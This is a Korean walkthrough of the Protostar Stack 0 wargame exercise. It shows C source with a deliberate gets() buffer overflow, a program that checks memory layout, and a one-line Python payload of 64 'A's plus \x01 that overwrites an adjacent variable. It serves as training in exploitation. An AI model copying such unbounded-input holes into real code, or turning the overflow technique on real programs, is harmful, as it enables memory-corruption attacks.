Stack 0에 소스코드는 다음과 같습니다.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 | #include <stdlib.h> #include <unistd.h> #include <stdio.h> int main(int argc, char **argv) { volatile int modified; char buffer[64]; modified = 0; gets(buffer); // Vulnerability!!! if(modified != 0) { printf("you have changed the 'modified' variable\n"); } else { printf("Try again?\n"); } } | cs |
int형의 modified와 64 Bytes의 buffer라는 배열이 선언되어 있습니다.
gets() 함수에서 입력받는 문자열이 지정되어 있지 않는 것을 확인할 수 있고, 이로 인해서 할당된 buffer 밖으로 특정 문자열을 집어넣을수 있고 modified 값을 0이 아닌 다른 값으로 수정할 수 있습니다.
Step 1. buffer의 크기를 64 Bytes로 선언하였지만, 실제 메모리에는 dummy값이 함께 잡힐 수 있기 때문에 정확한 메모리 공간을 파악해야 합니다. 실제 메모리에 할당된 buffer 크기를 파악하기 위해 다음과 같이 getBuffer.c라는 파일을 만들겠습니다.
1 2 3 4 5 6 7 8 9 | int main(int argc, char **argv) { volatile int modified; char buffer[64]; printf("modified : %p\n", &modified); printf("buffer : %p\n", buffer); } | cs |
Step 2. gcc로 컴파일 한 후, 실행해 보면 다음과 같은 결과가 출력되고, modified 변수의 시작 주소에서 buffer의 시작 주소를 빼면 64 Bytes가 나오고 buffer의 크기가 64 Bytes라는 것을 알 수 있습니다. (해당 환경에서는 c 코드에서 선언한 64 Bytes가 메모리에서도 동일하게 할당되었지만 다른 환경에서는 dummy가 추가될 수 있으므로 반드시 확인을 해야 합니다.)
1 2 3 4 | modified : 0xbffffccc buffer : 0xbffffc8c // 0xbffffccc - 0xbffffc8c = 40 (10진수 64) | cs |
Step 3. 이제 buffer의 크기를 파악했으니 buffer의 크기를 Overflow하여 modified 값을 1로 수정하겠습니다. 다음과 같은 명령어로 64개의 A 문자와 \x01을 입력하면 BOF 성공 메시지가 출력되는 것을 확인할 수 있습니다.
1 2 | $ (python -c 'print "A"*64+"\x01"';cat) | /opt/protostar/bin/stack0 you have changed the 'modified' variable | cs |